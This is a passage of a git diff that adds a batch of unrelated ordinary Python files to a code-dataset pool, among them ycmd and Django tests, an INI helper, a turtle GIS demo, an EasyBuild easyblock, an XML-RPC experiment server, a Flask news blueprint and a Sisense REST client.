+        for filename in os.listdir(path):
+            # Check if is a file
+            if os.path.isfile(os.path.join(path, filename)) and (not isnode):
+                # Get extension of that file
+                extension = filename.split(".")[-1]
+                # Check if file is the one we would want to add
+                if extension in ALLOWED_EXTENSIONS :
+                    # Calculate SHA1 hash for the /mnt/us/<folder>/<filename>
+                    old_hal = gethash(os.path.join(folder, filename))
+                    self.update(current_collection, old_hal, filename)
+            # Check if is directory
+            elif os.path.isdir(os.path.join(path, filename)):
+                    # Parse this sub-directory recursively
+                    self.forage(folder=os.path.join(folder, filename))
+
+    def save(self, outdir=None) :
+        """ Convert collections to JSON
+        """
+        collections_json = json.dumps(self.cln)
+        # Write JSON to a collections.json
+        if outdir is None :
+            json_path = os.path.join(self.root, "system", "collections.json")
+        else :
+            json_path = outdir
+        print("Writing collections.json file to %s" % json_path)
+        f = open(json_path, "w")
+        f.write(collections_json)
+        f.close()
+
+    def default(self) :
+        self.cln    = {}
+        self.cnames = []
+        self.forage(folder="")
+
+def gethash(fname):
+    """ get hash string.
+    """
+    hin = os.path.join(HASH_PREFIX, fname)
+    hobj = hashlib.sha1(hin)
+    hval = hobj.hexdigest()
+    return(hval)
+
+if __name__ == "__main__":    
+    cln = Collection()
+    cln.forage(folder="Incoming/arxiv")
+#    cln.default()
+    cln.save()
diff --git a/pool/shard000/Python/0007640_get_completions_test.py b/pool/shard000/Python/0007640_get_completions_test.py
new file mode 100644
index 0000000000000000000000000000000000000000..fd5c4f534f516d718d6f91400f899b3a148de853
--- /dev/null
+++ b/pool/shard000/Python/0007640_get_completions_test.py
@@ -0,0 +1,45 @@
+# Copyright (C) 2015 ycmd contributors
+#
+# This file is part of ycmd.
+#
+# ycmd is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# ycmd is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with ycmd.  If not, see <http://www.gnu.org/licenses/>.
+
+from __future__ import absolute_import
+from __future__ import unicode_literals
+from __future__ import print_function
+from __future__ import division
+from future import standard_library
+standard_library.install_aliases()
+from builtins import *  # noqa
+
+from hamcrest import assert_that, has_item
+from .go_handlers_test import Go_Handlers_test
+from ycmd.utils import ReadFile
+
+
+class Go_GetCompletions_test( Go_Handlers_test ):
+
+  def Basic_test( self ):
+    filepath = self._PathToTestFile( 'test.go' )
+    completion_data = self._BuildRequest( filepath = filepath,
+                                          filetype = 'go',
+                                          contents = ReadFile( filepath ),
+                                          force_semantic = True,
+                                          line_num = 9,
+                                          column_num = 11 )
+
+    results = self._app.post_json( '/completions',
+                                   completion_data ).json[ 'completions' ]
+    assert_that( results,
+                 has_item( self._CompletionEntryMatcher( u'Logger' ) ) )
diff --git a/pool/shard000/Python/0007644_test_model_serializer_deserialize_fk.py b/pool/shard000/Python/0007644_test_model_serializer_deserialize_fk.py
new file mode 100644
index 0000000000000000000000000000000000000000..f03e0055973850e12a10e07ea8e836d9db17c4c1
--- /dev/null
+++ b/pool/shard000/Python/0007644_test_model_serializer_deserialize_fk.py
@@ -0,0 +1,66 @@
+from ..serializers.model_serializer import ModelSerializer
+from .dragon_test_case import DragonTestCase
+from .models import TextModel, SDModel
+from django.db import models
+
+
+class Parent(SDModel):
+    name = models.CharField(max_length=20)
+
+
+class Child(SDModel):
+    parent = models.ForeignKey(Parent)
+    number = models.IntegerField()
+
+
+class ChildSerializer(ModelSerializer):
+    parent = 'ParentSerializer'
+
+    class Meta:
+        model = Child
+        update_fields = ('number', 'parent')
+
+
+class ParentSerializer(ModelSerializer):
+    child_set = ChildSerializer
+
+    class Meta:
+        model = Parent
+        publish_fields = ('name')
+        update_fields = ('name', 'child_set')
+
+
+class TestModelSerializer(DragonTestCase):
+    def test_deserialize_with_fk(self):
+        data = {
+            'name': 'foo',
+            'child_set': [
+                {'number': 5}
+            ]
+        }
+        serializer = ParentSerializer(data)
+        parent = serializer.save()
+        self.assertEqual(parent.name, data['name'])
+        self.assertEqual(parent.child_set.first().number, data['child_set'][0]['number'])
+
+    def test_deserialize_with_reverse_fk(self):
+        data = {
+            'number': 123,
+            'parent': {
+                'name': 'foo'
+            }
+        }
+        serializer = ChildSerializer(data)
+        child = serializer.save()
+        self.assertEqual(child.number, data['number'])
+        self.assertEqual(child.parent.name, data['parent']['name'])
+
+    def test_get_object_map(self):
+        """
+        The object map should return information on how to map parents to children
+        and vice versa
+        """
+        object_map = ParentSerializer.get_object_map()
+        self.assertLessEqual(len(object_map), 2)
+        for om in object_map:
+            self.assertIn('via', om)
diff --git a/pool/shard000/Python/0007647_INIFILE.py b/pool/shard000/Python/0007647_INIFILE.py
new file mode 100644
index 0000000000000000000000000000000000000000..99c751dbfcc1a0f26b2b73e3c840af04bd085648
--- /dev/null
+++ b/pool/shard000/Python/0007647_INIFILE.py
@@ -0,0 +1,76 @@
+# -*- coding:utf-8 -*_
+import ConfigParser, sys
+class INIFILE:
+    """
+    a class which can process *.ini file
+    with read and write function.
+    """
+    def __init__(self, fileName):
+        self.fileName = fileName
+        # print self.fileName
+        self.initflag = False
+        self.cfg = None
+        self.readhandle = None
+        self.writehandle = None
+        self.is_read = False
+        self.is_write = False
+
+    #is_read :is read enable? is_write: is write enable?
+    #must write something if you set is_write to true. otherwise your file become empty.
+    def Init(self, is_read, is_write):
+        self.cfg = ConfigParser.ConfigParser()
+        try:
+            if is_read:
+                self.is_read = True
+                self.readhandle = open(self.fileName, 'r')
+                self.cfg.readfp(self.readhandle)
+
+            if  is_write:
+                self.is_write = True
+                self.writehandle =  open(self.fileName, 'w')
+
+            self.initflag = True
+        except Exception, e:
+            self.initflag = False
+            print e
+        return self.initflag
+
+    #close the file
+    def UnInit(self):
+        if self.initflag:
+            if self.is_read:
+                self.readhandle.close()
+                #print '================close the read handle================'
+            if self.is_write:
+                self.writehandle.close()
+                #print '================close the write handle================'
+
+    def GetValue(self, Section, Key, Default = '0'):
+        try:
+            value = self.cfg.get(Section, Key)
+        except Exception, e:
+            #print e
+            value = Default
+        return value
+
+    def SetValue(self, Section, Key, Value):
+        if not self.is_write:
+            print 'can not SetValue, switch the write function to true first.'
+            return
+        if not self.cfg.has_section(Section):
+            print 'Section [%s] does not exists. Going to add it first' %(Section)
+            self.cfg.add_section(Section)
+        self.cfg.set(Section, Key, Value)
+        self.cfg.write(self.writehandle)
+
+
+# file = INIFILE('totalpage.ini')
+# file.Init()
+# num = file.GetValue('Main', 'totalpage', '')
+# print num
+#
+# file.SetValue('Main', 'totalpage', '805')
+# print file.GetValue('Main', 'TotalPage', '0')
+#
+# file.SetValue('DEMO', 'whoami', 'Admin')
+# print file.GetValue('DEMO', 'whoami', 'Admin')
\ No newline at end of file
diff --git a/pool/shard000/Python/0007651_1138_01_01_SimpleGIS.py b/pool/shard000/Python/0007651_1138_01_01_SimpleGIS.py
new file mode 100644
index 0000000000000000000000000000000000000000..be0cf5bb6ac77e71e82d32efe3950d768a16e9d7
--- /dev/null
+++ b/pool/shard000/Python/0007651_1138_01_01_SimpleGIS.py
@@ -0,0 +1,116 @@
+#SimpleGIS.py - A Simple GIS
+
+import turtle as t
+
+# DATA MODEL
+# All layers will have a name, 1+ points, and population count
+NAME = 0
+POINTS = 1
+POP = 2
+
+# Create the state layer
+state = ["COLORADO", [[-109, 37], [-109, 41], [-102, 41], [-102, 37]], 5187582]
+
+# Cities layer list
+# city = [name, [point], population]
+cities = []
+
+# Add Denver
+cities.append(["DENVER",[-104.98, 39.74], 634265])
+# Add Boulder
+cities.append(["BOULDER",[-105.27, 40.02], 98889])
+# Add Durango
+cities.append(["DURANGO",[-107.88,37.28], 17069])
+
+# MAP GRAPHICS RENDERING
+map_width = 800
+map_height = 500
+
+# State Bounding Box
+# Use Python min/max function to get bounding box
+minx = 180
+maxx = -180
+miny = 90
+maxy = -90 
+for x,y in state[POINTS]:
+  if x < minx: minx = x
+  elif x > maxx: maxx = x
+  if y < miny: miny = y
+  elif y > maxy: maxy = y
+# Get earth distance on each axis
+dist_x = maxx - minx
+dist_y = maxy - miny
+
+# Scaling ratio each axis 
+# to map points from world to screen
+x_ratio = map_width / dist_x
+y_ratio = map_height / dist_y
+
+# Function to convert lat/lon to screen coordinates
+def convert(point):
+  lon = point[0]
+  lat = point[1]
+  x = map_width - ((maxx - lon) * x_ratio)
+  y = map_height - ((maxy - lat) * y_ratio)
+  # Python turtle graphics start in the middle of the screen
+  # so we must offset the points so they are centered
+  x = x - (map_width/2)
+  y = y - (map_height/2)
+  return [x,y]
+  
+# Draw the state
+t.up()
+first_pixel = None
+for point in state[POINTS]:
+  print(point)
+  pixel = convert(point)
+  print(pixel)
+  if not first_pixel:
+    first_pixel = pixel
+  t.goto(pixel)
+  t.down()
+# Go back to the first point
+t.goto(first_pixel)
+# Label the state
+t.up()
+t.goto([0,0])
+t.write(state[NAME], align="center", font=("Arial",16,"bold"))
+
+# Draw the cities
+for city in cities:
+  pixel = convert(city[POINTS])
+  t.up()
+  t.goto(pixel)
+  # Place a point for the city
+  t.dot(10)
+  # Label the city
+  t.write(city[NAME] + ", Pop.: " + str(city[POP]), align="left")
+  t.up()
+  
+# Perform an attribute query
+# Question: Which city has the largest population?
+# Write the result but make sure it's under the map
+biggest_city = max(cities, key=lambda city:city[POP])
+t.goto(0, -1*((map_height/2)+20))
+t.write("The biggest city is: " +  biggest_city[NAME])
+
+# Perform a spatial query
+# Question: Which is the western most city?
+# Write the result but make sure it's under the other question
+western_city = min(cities, key=lambda city:city[POINTS])
+t.goto(0, -1*((map_height/2)+40))
+t.write("The western-most city is: " + western_city[NAME])
+  
+# Hide our map pen
+t.pen(shown=False)
+t.done()  
+  
+
+
+
+
+
+
+
+
+
diff --git a/pool/shard000/Python/0007654_071_simplify_path.py b/pool/shard000/Python/0007654_071_simplify_path.py
new file mode 100644
index 0000000000000000000000000000000000000000..5f371af87576a006bea3f06b80f4edcb060220a4
--- /dev/null
+++ b/pool/shard000/Python/0007654_071_simplify_path.py
@@ -0,0 +1,40 @@
+"""
+Given an absolute path for a file (Unix-style), simplify it.
+
+For example,
+path = "/home/", => "/home"
+path = "/a/./b/../../c/", => "/c"
+
+Corner Cases:
+
+Did you consider the case where path = "/../"?
+
+In this case, you should return "/".
+
+Another corner case is the path might contain multiple slashes '/' together,
+such as "/home//foo/".
+
+In this case, you should ignore redundant slashes and return "/home/foo".
+"""
+class Solution(object):
+    def simplifyPath(self, path):
+        """
+        :type path: str
+        :rtype: str
+        """
+        soln = []
+        for folder in path.split('/'):
+            if folder == '.' or folder == '':
+                continue
+            elif folder == '..':
+                if len(soln) > 0:
+                    soln.pop()
+            else:
+                soln.append(folder)
+        return '/' + '/'.join(soln)
+
+a = Solution()
+print(a.simplifyPath("/home/") == "/home")
+print(a.simplifyPath("/a/./b/../../c/") == "/c")
+print(a.simplifyPath("/../") == "/")
+print(a.simplifyPath("/home//foo/") == "/home/foo")
diff --git a/pool/shard000/Python/0007657_cmakemakecp.py b/pool/shard000/Python/0007657_cmakemakecp.py
new file mode 100644
index 0000000000000000000000000000000000000000..70bad5725662ca7dfcfd978931b3f2225c465e65
--- /dev/null
+++ b/pool/shard000/Python/0007657_cmakemakecp.py
@@ -0,0 +1,54 @@
+##
+# Copyright 2009-2020 Ghent University
+#
+# This file is part of EasyBuild,
+# originally created by the HPC team of Ghent University (http://ugent.be/hpc/en),
+# with support of Ghent University (http://ugent.be/hpc),
+# the Flemish Supercomputer Centre (VSC) (https://www.vscentrum.be),
+# Flemish Research Foundation (FWO) (http://www.fwo.be/en)
+# and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en).
+#
+# https://github.com/easybuilders/easybuild
+#
+# EasyBuild is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation v2.
+#
+# EasyBuild is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with EasyBuild.  If not, see <http://www.gnu.org/licenses/>.
+##
+"""
+EasyBuild support for software configured with CMake but without 'make install' step, implemented as an easyblock
+
+@author: Samuel Moors, Vrije Universiteit Brussel (VUB)
+"""
+from easybuild.easyblocks.generic.cmakemake import CMakeMake
+from easybuild.easyblocks.generic.makecp import MakeCp
+import os
+
+
+class CMakeMakeCp(CMakeMake, MakeCp):
+    """Software configured with CMake but without 'make install' step
+
+    We use the default CMakeMake implementation, and use install_step from MakeCp.
+    """
+
+    @staticmethod
+    def extra_options(extra_vars=None):
+        extra_vars = MakeCp.extra_options(extra_vars)
+        return CMakeMake.extra_options(extra_vars=extra_vars)
+
+    def configure_step(self, srcdir=None, builddir=None):
+        """Configure build using CMake"""
+        return CMakeMake.configure_step(self, srcdir=srcdir, builddir=builddir)
+
+    def install_step(self):
+        """Install by copying specified files and directories."""
+        if self.cfg.get('separate_build_dir', False):
+            self.cfg['start_dir'] = os.path.join(self.builddir, 'easybuild_obj')
+        return MakeCp.install_step(self)
diff --git a/pool/shard000/Python/0007659_server.py b/pool/shard000/Python/0007659_server.py
new file mode 100644
index 0000000000000000000000000000000000000000..06cdcc3ad3e8df80601e70934584093dd5fa1152
--- /dev/null
+++ b/pool/shard000/Python/0007659_server.py
@@ -0,0 +1,139 @@
+#!/usr/bin/python
+
+import xmlrpclib
+from SimpleXMLRPCServer import SimpleXMLRPCServer
+import random, os, datetime, sys, traceback, math
+
+
+start_time = datetime.datetime.now()
+log_dir = "/home/dokstud/lew/logi/%s" % start_time.isoformat()
+
+report_file = "report.csv"
+
+params_sampler = {
+    "progressive_bias"       : lambda: random.uniform (60.0, 120),
+    "progressive_bias_prior" : lambda: random.uniform (0, 40),
+    "proxy_1_bonus"          : lambda: random.uniform (0, 30),
+    "proxy_2_bonus"          : lambda: random.uniform (0, 20),
+    }
+
+params_names  = params_sampler.keys () #csv header
+
+csv_header = ", ".join (params_names) + ", first_is_black, first_win, sgf_file"
+
+params_of_series = []
+games_per_series = 2
+
+gnugo = \
+    "'/home/dokstud/lew/.bin/gnugo-3.8 --mode gtp --chinese-rules" \
+    " --capture-all-dead --positional-superko --level=0'"
+
+libego = \
+    "'/home/dokstud/lew/libego/bin/engine" \
+    " \"LoadGammas /home/dokstud/lew/libego/bin/3x3.gamma\"" \
+    " %s gtp'" 
+
+gtp_set_command = "set"
+
+# TODO seed, cputime
+workers = {}
+idle_workers = {}
+
+def gen_params ():
+    return dict (((p, params_sampler [p] ()) for p in params_names))
+
+
+def params_to_gtp (params):
+    gtp = ""
+    for param_name in params_names:
+        gtp += '"%s %s %f" ' % (gtp_set_command, param_name, params[param_name])
+    return gtp
+
+
+def format_report_line (series_id, first_is_black, first_win, sgf):
+    params = params_of_series [series_id]
+    csv_line = ", ".join ((str(params [param_name]) for param_name in params_names))
+    # scv_line, oh yeah :)
+    return csv_line + (', %d, %d, "%s"' % (first_is_black, first_win, sgf))
+
+
+def report_idling (worker_id):
+    idle_workers [worker_id] = datetime.datetime.now()
+    if (worker_id in workers):
+        print "Warning! Idling worker on worker list."
+    return 0
+   
+ 
+def get_game_setup (worker_id):
+    if (worker_id in workers):
+        print "Warning! Worker already on worker list."
+    if (worker_id in idle_workers):
+        idle_workers.pop (worker_id)
+    workers [worker_id] = datetime.datetime.now()
+
+    global series_id
+    params = gen_params ()
+    series_id = len (params_of_series)
+    params_of_series.append (params)
+    ret = (log_dir,
+           series_id,
+           games_per_series,
+           libego % params_to_gtp (params),
+           gnugo
+           )
+    return ret
+
+
+def report_game_result (worker_id, clog_dir, series_id, result_list):
+    # error handling
+    if (not worker_id in workers):
+        print "Old report from ", worker_id
+        if (clog_dir == log_dir):
+            print "Warning! but the same experiment dir!"
+        return 0;
+    if clog_dir != log_dir: 
+        print "Warning! in pool, but wrong dir!!"
+        return 0
+
+    worker_start = workers.pop (worker_id)
+    f = open (report_file, "a")
+    # TODO check for result length
+    for (first_is_black, first_win, sgf) in result_list:
+        print (first_is_black, first_win, sgf)
+        f.write ("%s\n" % format_report_line (series_id, first_is_black, first_win, sgf))
+    f.close ()
+    return 0
+
+
+def list_workers ():
+    s = "ACTIVE:\n"
+    t_now = datetime.datetime.now()
+    for w in workers:
+        d = t_now - workers[w]
+        mark = " *" if d.seconds > 60 else ""
+        s += "%s %s %s\n" % (w, str(d), mark)
+    s += "IDLE:\n"
+    for w in idle_workers:
+        d = t_now - idle_workers[w]
+        mark = " *" if d.seconds > 60 else ""
+        s += "%s %s %s\n" % (w, str(d), mark)
+    return s
+
+os.makedirs (log_dir)
+os.chdir (log_dir)
+
+address = "students.mimuw.edu.pl", 7553
+server = SimpleXMLRPCServer (address)
+
+server.register_function (get_game_setup, "get_game_setup")
+server.register_function (report_game_result, "report_game_result")
+server.register_function (list_workers, "list_workers")
+server.register_function (report_idling, "report_idling")
+
+print "Listening on port %d..." % address[1]
+
+f = open (report_file, "a")
+f.write ("%s\n" % csv_header)
+f.close ()
+
+server.serve_forever()
diff --git a/pool/shard000/Python/0007664_news.py b/pool/shard000/Python/0007664_news.py
new file mode 100644
index 0000000000000000000000000000000000000000..31cb50458635b25e38d4b25bc49b61bb407c5d83
--- /dev/null
+++ b/pool/shard000/Python/0007664_news.py
@@ -0,0 +1,140 @@
+from datetime import date, datetime
+
+from flask import Blueprint, abort, render_template, request, flash, \
+    redirect, url_for
+from flask_babel import _  # gettext
+from flask_login import current_user
+from sqlalchemy import desc
+from werkzeug.contrib.atom import AtomFeed
+
+from app import db
+from app.decorators import require_role
+from app.forms import init_form
+from app.forms.news import NewsForm
+from app.models.news import News
+from app.roles import Roles
+from app.service import role_service
+
+blueprint = Blueprint('news', __name__, url_prefix='/news')
+
+
+@blueprint.route('/', methods=['GET'])
+@blueprint.route('/<int:page_nr>/', methods=['GET'])
+def list(page_nr=1):
+    items = News.query.filter(News.publish_date <= date.today(),
+                              db.or_(News.archive_date >= date.today(),
+                                     News.archive_date == None),  # noqa
+                              db.or_(current_user.has_paid,
+                                     db.not_(News.needs_paid))) \
+        .order_by(desc(News.publish_date))
+
+    can_write = role_service.user_has_role(current_user, Roles.NEWS_WRITE)
+    return render_template('news/list.htm',
+                           items=items.paginate(page_nr, 10, False),
+                           archive=False, can_write=can_write)
+
+
+@blueprint.route('/all/', methods=['GET'])
+@blueprint.route('/all/<int:page_nr>/', methods=['GET'])
+def all(page_nr=1):
+    return render_template('news/list.htm',
+                           items=News.query.paginate(page_nr, 10, False),
+                           archive=False)
+
+
+@blueprint.route('/archive/', methods=['GET'])
+@blueprint.route('/archive/<int:page_nr>/', methods=['GET'])
+def archive(page_nr=1):
+    items = News.query.filter(db.and_(News.archive_date < date.today(),
+                                      News.archive_date != None))  # noqa
+
+    return render_template('news/list.htm',
+                           items=items.paginate(page_nr, 10, False),
+                           archive=True)
+
+
+@blueprint.route('/create/', methods=['GET', 'POST'])
+@blueprint.route('/edit/<int:news_id>/', methods=['GET', 'POST'])
+@require_role(Roles.NEWS_WRITE)
+def edit(news_id=None):
+    if news_id:
+        news_item = News.query.get_or_404(news_id)
+    else:
+        news_item = News()
+
+    form = init_form(NewsForm, obj=news_item)
+
+    if form.validate_on_submit():
+
+        # fill the news_item with the form entries.
+        form.populate_obj(news_item)
+
+        # Only set writer if post is brand new
+        if not news_item.id:
+            news_item.user_id = current_user.id
+
+        db.session.add(news_item)
+        db.session.commit()
+
+        news_id = news_item.id
+        flash(_('News item saved'), 'success')
+
+        return redirect(url_for('news.view', news_id=news_id))
+
+    return render_template('news/edit.htm', form=form, news_id=news_id)
+
+
+@blueprint.route('/view/', methods=['GET'])
+@blueprint.route('/view/<int:news_id>/', methods=['GET'])
+def view(news_id=None):
+    if not news_id:
+        flash(_('This news item does not exist'), 'danger')
+        return redirect(url_for('news.list'))
+
+    news = News.query.get_or_404(news_id)
+    if not news.can_read():
+        return abort(403)
+
+    can_write = role_service.user_has_role(current_user, Roles.NEWS_WRITE)
+
+    return render_template('news/view_single.htm', news=news,
+                           can_write=can_write)
+
+
+@blueprint.route('/delete/', methods=['GET'])
+@blueprint.route('/delete/<int:news_id>/', methods=['GET'])
+@require_role(Roles.NEWS_WRITE)
+def delete(news_id=None):
+    if not news_id:
+        flash(_('This news item does not exist'), 'danger')
+        return redirect(url_for('news.list'))
+
+    news = News.query.get_or_404(news_id)
+    db.session.delete(news)
+    db.session.commit()
+
+    flash(_('News item succesfully deleted'), 'success')
+
+    return redirect(url_for('news.list'))
+
+
+@blueprint.route('/rss/', methods=['GET'])
+@blueprint.route('/rss/<string:locale>/')
+def rss(locale='en'):
+    name = 'via nieuws' if locale == 'nl' else 'via news'
+    feed = AtomFeed(name, feed_url=request.url, url=request.url_root)
+    items = News.query.filter(News.publish_date <= date.today(),
+                              db.or_(News.archive_date >= date.today(),
+                                     News.archive_date == None),  # noqa
+                              db.or_(db.not_(News.needs_paid))) \
+        .order_by(News.publish_date.desc()).limit(20)
+
+    for item in items:
+        published = datetime.combine(item.publish_date, datetime.min.time())
+        title, content = item.get_localized_title_content(locale)
+        feed.add(title, content, id=item.id, content_type='markdown',
+                 published=published, updated=published,
+                 url=url_for('news.view', news_id=item.id),
+                 author=item.user.name)
+
+    return feed.get_response()
diff --git a/pool/shard000/Python/0007667_rest_api_helper.py b/pool/shard000/Python/0007667_rest_api_helper.py
new file mode 100644
index 0000000000000000000000000000000000000000..e86ab2e63a4c9622cfe95fb37d5fc56425f56d66
--- /dev/null
+++ b/pool/shard000/Python/0007667_rest_api_helper.py
@@ -0,0 +1,238 @@
+#!/usr/bin/python
+#
+# Copyright 2021 Google LLC
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+from functools import lru_cache
+import logging
+import requests
+from requests import Response
+from typing import Any, Dict, List, Union
+
+from google.datacatalog_connectors.sisense.scrape import \
+    authenticator, constants
+
+
+class RESTAPIHelper:
+
+    def __init__(self, server_address: str, api_version: str, username: str,
+                 password: str):
+
+        self.__server_address = server_address
+        self.__api_version = api_version
+        self.__username = username
+        self.__password = password
+
+        self.__base_api_endpoint = f'{server_address}/api/{api_version}'
+        self.__common_headers = {
+            'Content-Type': constants.JSON_CONTENT_TYPE,
+            'Accept': constants.JSON_CONTENT_TYPE
+        }
+
+        self.__auth_credentials = None
+
+    def get_all_dashboards(self) -> List[Dict[str, Any]]:
+        """Get all Dashboards the user has access to on a given server.
+
+        Returns:
+            A ``list``.
+
+        Raises:
+            Exception: If the API returns any status code than ``200``.
+        """
+        self.__set_up_auth()
+
+        url = f'{self.__base_api_endpoint}/dashboards'
+        response = requests.get(url=url, headers=self.__common_headers)
+        # ``GET /dashboards`` currently does not support pagination.
+        all_dashboards = self.__get_response_body_or_raise(response)
+
+        # ``GET /dashboards`` returns an array containing a mix of summary
+        # objects for dashboards that are shared with the current user and full
+        # objects for dashboards that are owned by the user. Such summary
+        # objects contain only the ``oid`` and ``lastPublish`` fields.
+        #
+        # So, we check the presence of ``_id`` to determine whether an object
+        # refers to a shared dashboard or not. If ``_id`` is absent, we need to
+        # perform extra API calls to ``GET dashboards/{id}``, passing ``oid``
+        # as parameter, in order to get detailed metadata for each shared
+        # dashboard.
+        shared_dashboards = [
+            dashboard for dashboard in all_dashboards
+            if not dashboard.get('_id')
+        ]
+        for shared_dashboard in shared_dashboards:
+            all_dashboards.remove(shared_dashboard)
+        all_dashboards.extend([
+            self.get_dashboard(dashboard.get('oid'))
+            for dashboard in shared_dashboards
+        ])
+
+        return all_dashboards
+
+    def get_dashboard(self, dashboard_id: str) -> Dict[str, Any]:
+        """Get a specific Dashboard.
+
+        Returns:
+            A Dashboard object.
+
+        Raises:
+            Exception: If the API returns any status code than ``200``.
+        """
+        self.__set_up_auth()
+        url = f'{self.__base_api_endpoint}/dashboards/{dashboard_id}'
+        response = requests.get(url=url, headers=self.__common_headers)
+        return self.__get_response_body_or_raise(response)
+
+    def get_all_folders(self) -> List[Dict[str, Any]]:
+        """Get all Folders the user has access to on a given server.
+
+        Returns:
+            A ``list``.
+
+        Raises:
+            Exception: If the API returns any status code than ``200``.
+        """
+        self.__set_up_auth()
+
+        # Sisense can return the folders in flat (default) or tree structures.
+        # We decided for flat because it supports standard pagination handling
+        # (paginating a tree structure would require extra programming effort).
+        url = f'{self.__base_api_endpoint}/folders?structure=flat'
+        return self.__get_list_using_pagination(base_url=url,
+                                                results_per_page=50)
+
+    @lru_cache(maxsize=128)
+    def get_user(self, user_id: str) -> Dict[str, Any]:
+        """Get a specific User.
+
+        Returns:
+            A User object.
+
+        Raises:
+            Exception: If the API returns any status code than ``200``.
+        """
+        self.__set_up_auth()
+        url = f'{self.__base_api_endpoint}/users/{user_id}'
+        response = requests.get(url=url, headers=self.__common_headers)
+        return self.__get_response_body_or_raise(response)
+
+    def get_widgets(self, dashboard_id) -> List[Dict[str, Any]]:
+        """Get all Widgets belonging to a given Dashboard.
+
+        Returns:
+            A ``list``.
+
+        Raises:
+            Exception: If the API returns any status code than ``200``.
+        """
+        self.__set_up_auth()
+
+        url = f'{self.__base_api_endpoint}/dashboards/{dashboard_id}/widgets'
+        return self.__get_list_using_pagination(base_url=url,
+                                                results_per_page=50)
+
+    def __set_up_auth(self) -> None:
+        if self.__auth_credentials:
+            return
+
+        self.__auth_credentials = \
+            authenticator.Authenticator.authenticate(
+                self.__server_address,
+                self.__api_version,
+                self.__username,
+                self.__password)
+
+        self.__common_headers[constants.AUTHORIZATION_HEADER_NAME] = \
+            f'{constants.BEARER_TOKEN_PREFIX}' \
+            f' {self.__auth_credentials["access_token"]}'
+
+    def __get_list_using_pagination(self,
+                                    base_url: str,
+                                    results_per_page: int,
+                                    id_field='oid') -> List[Dict[str, Any]]:
+        """Get a ``List`` using pagination.
+
+        Args:
+            base_url: The url to which the ``skip`` and ``limit`` query
+              parameters will be appended to handle pagination accordingly.
+            results_per_page: The number of results per page. Must be greater
+              than 1.
+
+        Returns:
+            A ``list``.
+        """
+        if results_per_page <= 1:
+            raise ValueError('results_per_page must be greater than 1')
+
+        results = []
+        query_param_prefix = '?' if '?' not in base_url else '&'
+
+        page_count = 0
+        page_results = []
+        # Sisense APIs may add more results to some pages than specified by the
+        # ``results_per_page`` argument. It happens in the ``GET /folders``
+        # pages, for instance: all pages include the ``rootFolder``, resulting
+        # in ``results_per_page + 1`` folders in all pages but the last.
+        # Given this behavior, we need ``results_per_page`` to be greater than
+        # ``1`` and to use the ``>=`` operator to decide between executing the
+        # ``while`` loop or not, to avoid issues.
+        while page_count == 0 or len(page_results) >= results_per_page:
+            offset = page_count * results_per_page
+            url = f'{base_url}{query_param_prefix}skip={offset}' \
+                  f'&limit={results_per_page}'
+            response = requests.get(url=url, headers=self.__common_headers)
+            page_results = self.__get_response_body_or_raise(response)
+            results.extend(page_results)
+            page_count += 1
+            logging.info(f'page {page_count}: {len(page_results)} results')
+
+        logging.info('')
+        logging.info('Removing potential duplicates...')
+        # Set comprehension is used to remove potential duplicates after
+        # merging the results, e.g.: the ``rootFolder`` that comes in all
+        # ``GET /folders`` pages.
+        unique_ids = {result.get(id_field) for result in results}
+
+        unique_results = []
+        for unique_id in unique_ids:
+            unique_results.append(
+                next(result for result in results
+                     if result.get(id_field) == unique_id))
+
+        return unique_results
+
+    @classmethod
+    def __get_response_body_or_raise(
+            cls,
+            response: Response) -> Union[Dict[str, Any], List[Dict[str, Any]]]:
+        """Get the response body on successful API call or raise an exception.
+
+        Returns:
+            A ``Dict`` or ``List``.
+
+        Raises:
+            Exception: If the API returns any status code than ``200``.
+        """
+
+        status_code = response.status_code
+
+        if status_code == 200:
+            return response.json()
+
+        # Raise exception for all status codes other than ``200`` to let the
+        # caller know what went wrong.
+        error = response.json().get('error') or {}
+        logging.warning('error on API call: %s', error)
+        raise Exception(error.get('message'))
diff --git a/pool/shard000/Python/0007668_grove_temp.py b/pool/shard000/Python/0007668_grove_temp.py
new file mode 100644
index 0000000000000000000000000000000000000000..2e16857477a1dab76ee541dcbaccc1b5a3c8e0e9
--- /dev/null
+++ b/pool/shard000/Python/0007668_grove_temp.py
@@ -0,0 +1,20 @@
+# Pyboard code for reading a grove temp sensor connected to X1
+
+import pyb
+import math
+
+B = 4275
+
+temp_adc = pyb.ADC('X1')
+
+def read_temp():
+    temp_raw = temp_adc.read()
+    R = (4095 / temp_raw) - 1.0
+    
+    temp = 1.0 / (math.log(R) / B + 1/298.15) - 273.15
+    return temp
+
+while True:
+    t = read_temp()
+    print('temp =', t)
+    pyb.delay(1000)
diff --git a/pool/shard000/Python/0007671_init__.py b/pool/shard000/Python/0007671_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..795ece79dc7d2a51e34f43606e7d6f5c85d1bfeb
--- /dev/null
+++ b/pool/shard000/Python/0007671_init__.py
@@ -0,0 +1,60 @@
+# Copyright 2015: Mirantis Inc.
+# All Rights Reserved.
+#
+#    Licensed under the Apache License, Version 2.0 (the "License"); you may
+#    not use this file except in compliance with the License. You may obtain
+#    a copy of the License at
+#
+#         http://www.apache.org/licenses/LICENSE-2.0
+#
+#    Unless required by applicable law or agreed to in writing, software
+#    distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
